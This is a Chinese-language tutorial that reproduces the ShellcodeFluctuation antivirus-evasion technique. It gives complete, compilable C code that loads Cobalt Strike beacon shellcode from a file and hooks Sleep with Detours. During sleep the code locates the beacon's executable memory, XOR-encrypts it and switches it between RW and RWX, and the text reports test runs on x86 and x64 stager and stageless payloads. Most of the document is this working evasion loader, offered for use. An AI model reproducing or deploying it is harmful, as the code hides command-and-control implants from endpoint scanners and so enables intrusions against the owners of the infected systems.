前言
这是我看ShellcodeFluctuation,学习到的一种免杀思路,本章根据此代码进行详细说明和复现。
思路
一般来说,杀软在进行扫描进程中的高危区域,如带有可读可写可执行的内存时,那么此进程会被当做可疑进程。因为一般进程是没有可读可写可执行的内存的。
我们可以在cs的beacon没有执行的时候,将此内存区域进行加密,将属性改为可读可写(RW)。当beacon执行时进行解密,将属性改为可读可写可执行(RWX),一直这样反复执行,来躲避内存扫描。
定位Beacon内存
因为是对beacon的内存区域进行操作,所以我们首先要定位。如何找beacon所在的内存页,这里要根据申请空间API决定,如果是VirtualAlloc就hook VirtualAlloc,如果是其他申请空间API就hook其他API,这个根据具体的c2profile配置有关。如果不使用c2profile那么默认就是使用VirtualAlloc分配空间。
我们使用默认的配置,即启动teamserver命令如下./teamserver ip pwd
。
先看挂钩代码,使用Detour钩子库
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include "detours.h"
#ifdef _WIN64
#pragma comment(lib,"detours.x64.lib")
#else
#pragma comment(lib,"detours.x86.lib")
#endif
// 定义VirtualAlloc原函数
static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
LPVOID WINAPI MyVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
LPVOID address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
printf("address = %p\n", address);
return address;
}
// 挂钩 使用Detour库 https://github.com/microsoft/Detours
void Hook()
{
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach((void**)&OldVirtualAlloc, MyVirtualAlloc);
DetourTransactionCommit();
}
int main(int argc, char** argv)
{
HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
return 0;
DWORD realRead = 0;
DWORD fileSize = GetFileSize(hFile, NULL);
char* fileBuffer = malloc(sizeof(char) * fileSize);
if (!fileBuffer || !ReadFile(hFile, fileBuffer, fileSize, &realRead, NULL))
return 0;
// 挂钩VirtualAlloc
Hook();
LPVOID lpAddress = VirtualAlloc(NULL, fileSize, MEM_COMMIT, PAGE_READWRITE);
if (!lpAddress) return 0;
memcpy(lpAddress, fileBuffer, fileSize);
DWORD oldProtect;
VirtualProtect(lpAddress, fileSize, PAGE_EXECUTE, &oldProtect);
(*(int(*)()) lpAddress)();
}
这里有一个很混淆的地方:hook VirtualAlloc并不是去hook的上面这个我们自己调用的VirtualAlloc,这个是没有意义的。hook的是cs自己调用的申请内存空间API,他自己分配的内存地址才是真正的beacon代码地址,这里用下其他师傅的图。图中是stager分阶段的执行过程,如果是Stageless无阶段的执行过程也是差不多的,只不过没有远程去请求而是直接写在文件里。
Stager
vs编译时,选择Release x86编译模式。cs生成stager raw文件
运行上线,可看到申请了3次VirtualAlloc,第一次VirtualAlloc是我们申请的,后面两次都是cs自己申请的。
先看0x980000内存区域,开头内容为fc e8 89 00 00 00 60 89 e5
如果你经常使用shellcode上线,那么你一定不陌生。上面的数据,其实就是我们平常使用cs生成的shellcode
后面两个内存属性均为RWX
最后一个0x3650000就是Beacon所在的内存了
Stageless
看完Stager的情况,继续看Stageless的情况,生成Stageless
这次申请了2次VirtualAlloc,属性也是RWX
查看这两个内存属性,开头数据一模一样,其实结尾数据也是一模一样的。
64位
vs编译时,选择Release x64编译模式,继续编译代码。cs生成x64 stager raw文件
无法正常上线
cs生成x64 Stageless raw文件
可正常上线
总结一下,只有在64位的stager情况下,无法正常上线。这样的话,我们就不能使用hook VirtualAlloc来定位beacon内存
实现定位
先hook sleep,后面的所有代码将在MySleep函数里面操作,相当于main函数了
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include "detours.h"
#ifdef _WIN64
#pragma comment(lib,"detours.x64.lib")
#else
#pragma comment(lib,"detours.x86.lib")
#endif
// 挂钩
void HookSleep();
// 脱钩
void UnHookSleep();
// 定义Sleep原函数
VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
VOID WINAPI MySleep(DWORD dwMilliseconds)
{
UnHookSleep();
printf("===> MySleep(%d)\n\n", dwMilliseconds);
Sleep(dwMilliseconds);
HookSleep();
}
// 挂钩
void HookSleep()
{
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach((void**)&OldSleep, MySleep);
DetourTransactionCommit();
}
// 脱钩
void UnHookSleep()
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach((void**)&OldSleep, MySleep);
DetourTransactionCommit();
}
int main(int argc, char** argv)
{
HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
return 0;
DWORD realRead = 0;
DWORD fileSize = GetFileSize(hFile, NULL);
char* fileBuffer = malloc(sizeof(char) * fileSize);
if (!fileBuffer || !ReadFile(hFile, fileBuffer, fileSize, &realRead, NULL))
return 0;
LPVOID lpAddress = VirtualAlloc(NULL, fileSize, MEM_COMMIT, PAGE_READWRITE);
if (!lpAddress) return 0;
memcpy(lpAddress, fileBuffer, fileSize);
DWORD oldProtect;
VirtualProtect(lpAddress, fileSize, PAGE_EXECUTE, &oldProtect);
HookSleep();
(*(int(*)()) lpAddress)();
}
测试了一下无论是x86 x64,Stager Stageless,都能正常运行
我们可以遍历整个程序的内存属性,当内存属性是rwx或x时,就放进结构体中保存,其中结构体最大空间为3,最后一个结构体成员,就是存储的真正Beacon的位置。
定义下结构体,方便存储信息
// 定义内存页属性结构体
typedef struct {
LPVOID address; // 内存地址
DWORD size; // 内存大小
}MemoryAttrib;
// 定义内存信息结构体
typedef struct {
MemoryAttrib memoryPage[3]; // 最多存储3个内存页属性
int index; // 内存下标
int key; // 加解密key
BOOL isScanMemory; // 是否已查找内存页信息
BOOL isEncrypt; // 是否已加密
}MemoryInfo;
MemoryInfo memoryInfo;
查找内存页代码,当查找完毕时,我们就已经保存了Beacon的内存信息了,所以查找一次即可。而且第一次查找到的内存页信息,与cs的执行已经无关了,所以直接释放掉内存即可。
// 查找内存页
void ScanMemoryMap()
{
// 内存块信息结构体
MEMORY_BASIC_INFORMATION mbi;
LPVOID lpAddress = 0;
HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, GetCurrentProcessId());
int* index = &memoryInfo.index;
while (VirtualQueryEx(hProcess, lpAddress, &mbi, sizeof(mbi)))
{
// 查找可读可写可执行内存页
if (mbi.Protect == PAGE_EXECUTE_READWRITE || mbi.Protect == PAGE_EXECUTE && mbi.Type == MEM_PRIVATE)
{
// 保存内存信息
memoryInfo.memoryPage[*index].address = mbi.BaseAddress;
memoryInfo.memoryPage[*index].size = (DWORD)mbi.RegionSize;
printf("BaseAddr = %p\n", memoryInfo.memoryPage[*index].address);
(*index)++;
if ((*index) >= 3)
break;
}
// 更新到下一个内存页
lpAddress = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
}
// 更新为已扫描内存
memoryInfo.isScanMemory = TRUE;
/* *
* memoryInfo.index = 2 使用了Stageless Beacon
* memoryInfo.index = 3 使用了Stage Beacon
* */
// 释放shellcode内存页
VirtualFree(memoryInfo.memoryPage[0].address, 0, MEM_RELEASE);
printf("Shellcode Address at 0x%p\n\n", memoryInfo.memoryPage[memoryInfo.index - 1].address);
}
在stager情况下,正确定位到了beacon位置
在Stageless情况下,也正确定位到了beacon位置
而且第一个BaseAddr:0x17D2A6C0000,我们也成功释放掉了,下图无此地址
加解密
最后对Beacon进行加解密,和内存页属性更改即可
// 加解密Beacon
void EncryptDecrypt()
{
// 定位到真正的Beacon内存页
MemoryAttrib Beacon = memoryInfo.memoryPage[memoryInfo.index - 1];
DWORD bufSize = Beacon.size;
unsigned int* buffer = (unsigned int*)(Beacon.address);
int bufSizeRounded = (bufSize - (bufSize % sizeof(unsigned int))) / 4;
// 对Beacon进行加密或解密
for (int i = 0; i < bufSizeRounded; i++)
{
buffer[i] ^= memoryInfo.key; // 简单的异或加解密
}
DWORD oldProt;
memoryInfo.isEncrypt = !memoryInfo.isEncrypt;
// 已加密
if (memoryInfo.isEncrypt == TRUE)
{
// 将内存页设置为可读可写
VirtualProtect(Beacon.address, Beacon.size, PAGE_READWRITE, &oldProt);
printf("[>] Flipped to RW.\n");
}
// 未加密
if (memoryInfo.isEncrypt == FALSE)
{
// 将内存页设置为可读可写可执行
VirtualProtect(Beacon.address, Beacon.size, PAGE_EXECUTE_READWRITE, &oldProt);
memoryInfo.key = rand(); // 更新密钥
printf("[<] Flipped back to RX/RWX.\n");
}
printf("%s\n\n", memoryInfo.isEncrypt ? "[>] Encoding..." : "[<] Decoding...");
}
使用64位Stageless 加密前,前4位数据为0x52415A4D
加密后,内存属性变成了RW。加密后,前4位数据为0x52411A98
0x52415A4D xor 0x40D5 = 0x52411A98,加解密成功
完整代码
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include "detours.h"
#ifdef _WIN64
#pragma comment(lib,"detours.x64.lib")
#else
#pragma comment(lib,"detours.x86.lib")
#endif
// 定义内存页属性结构体
typedef struct {
LPVOID address; // 内存地址
DWORD size; // 内存大小
}MemoryAttrib;
// 定义内存信息结构体
typedef struct {
MemoryAttrib memoryPage[3]; // 最多存储3个内存页属性
int index; // 内存下标
int key; // 加解密key
BOOL isScanMemory; // 是否已查找内存页信息
BOOL isEncrypt; // 是否已加密
}MemoryInfo;
MemoryInfo memoryInfo;
// 挂钩
void HookSleep();
// 脱钩
void UnHookSleep();
// 查找内存页
void ScanMemoryMap()
{
// 内存块信息结构体
MEMORY_BASIC_INFORMATION mbi;
LPVOID lpAddress = 0;
HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, GetCurrentProcessId());
int* index = &memoryInfo.index;
while (VirtualQueryEx(hProcess, lpAddress, &mbi, sizeof(mbi)))
{
// 查找可读可写可执行内存页
if (mbi.Protect == PAGE_EXECUTE_READWRITE || mbi.Protect == PAGE_EXECUTE && mbi.Type == MEM_PRIVATE)
{
// 保存内存信息
memoryInfo.memoryPage[*index].address = mbi.BaseAddress;
memoryInfo.memoryPage[*index].size = (DWORD)mbi.RegionSize;
//printf("memoryInfo.BaseAddr = %p address = %p\n", memoryInfo.memoryPage[*index].address, mbi.BaseAddress);
(*index)++;
if ((*index) >= 3)
break;
}
// 更新到下一个内存页
lpAddress = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
}
// 更新为已扫描内存
memoryInfo.isScanMemory = TRUE;
/* *
* memoryInfo.index = 2 使用了Stageless Beacon
* memoryInfo.index = 3 使用了Stage Beacon
* */
// 释放shellcode内存页
VirtualFree(memoryInfo.memoryPage[0].address, 0, MEM_RELEASE);
printf("Shellcode Address at 0x%p\n\n", memoryInfo.memoryPage[memoryInfo.index - 1].address);
}
// 加解密Beacon
void EncryptDecrypt()
{
// 定位到真正的Beacon内存页
MemoryAttrib Beacon = memoryInfo.memoryPage[memoryInfo.index - 1];
DWORD bufSize = Beacon.size;
unsigned int* buffer = (unsigned int*)(Beacon.address);
int bufSizeRounded = (bufSize - (bufSize % sizeof(unsigned int))) / 4;
// 对Beacon进行加密或解密
for (int i = 0; i < bufSizeRounded; i++)
{
buffer[i] ^= memoryInfo.key; // 简单的异或加解密
}
DWORD oldProt;
memoryInfo.isEncrypt = !memoryInfo.isEncrypt;
// 已加密
if (memoryInfo.isEncrypt == TRUE)
{
// 将内存页设置为可读可写
VirtualProtect(Beacon.address, Beacon.size, PAGE_READWRITE, &oldProt);
printf("[>] Flipped to RW.\n");
}
// 未加密
if (memoryInfo.isEncrypt == FALSE)
{
// 将内存页设置为可读可写可执行
VirtualProtect(Beacon.address, Beacon.size, PAGE_EXECUTE_READWRITE, &oldProt);
memoryInfo.key = rand(); // 更新密钥
printf("[<] Flipped back to RX/RWX.\n");
}
printf("%s\n\n", memoryInfo.isEncrypt ? "[>] Encoding..." : "[<] Decoding...");
}
// 定义Sleep原函数
VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
VOID WINAPI MySleep(DWORD dwMilliseconds)
{
UnHookSleep();
if (!memoryInfo.isScanMemory)
ScanMemoryMap();
printf("XOR32 key: %X\n", memoryInfo.key);
EncryptDecrypt();
printf("===> MySleep(%d)\n\n", dwMilliseconds);
Sleep(dwMilliseconds);
EncryptDecrypt();
HookSleep();
}
// 挂钩
void HookSleep()
{
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach((void**)&OldSleep, MySleep);
DetourTransactionCommit();
}
// 脱钩
void UnHookSleep()
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach((void**)&OldSleep, MySleep);
DetourTransactionCommit();
}
// 初始化内存页信息
void InitMemoryInfo()
{
srand(time(NULL));
memoryInfo.index = 0;
memoryInfo.isScanMemory = FALSE;
memoryInfo.isEncrypt = FALSE;
memoryInfo.key = rand(); // 随机key
}
int main(int argc, char** argv)
{
HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
return 0;
DWORD realRead = 0;
DWORD fileSize = GetFileSize(hFile, NULL);
char* fileBuffer = malloc(sizeof(char) * fileSize);
if (!fileBuffer || !ReadFile(hFile, fileBuffer, fileSize, &realRead, NULL))
return 0;
LPVOID lpAddress = VirtualAlloc(NULL, fileSize, MEM_COMMIT, PAGE_READWRITE);
if (!lpAddress) return 0;
memcpy(lpAddress, fileBuffer, fileSize);
DWORD oldProtect;
VirtualProtect(lpAddress, fileSize, PAGE_EXECUTE, &oldProtect);
InitMemoryInfo();
HookSleep();
(*(int(*)()) lpAddress)();
}
运行结果,如下